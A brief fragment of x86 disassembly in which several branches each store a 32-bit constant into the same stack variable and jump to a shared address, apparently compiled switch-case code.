mov dword [ebp - 0x100], 0xa4e50021
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0xfe564b67
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0x68daa5e1
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0xac397345
jmp 0x1000f4e5
jmp 0x10006e50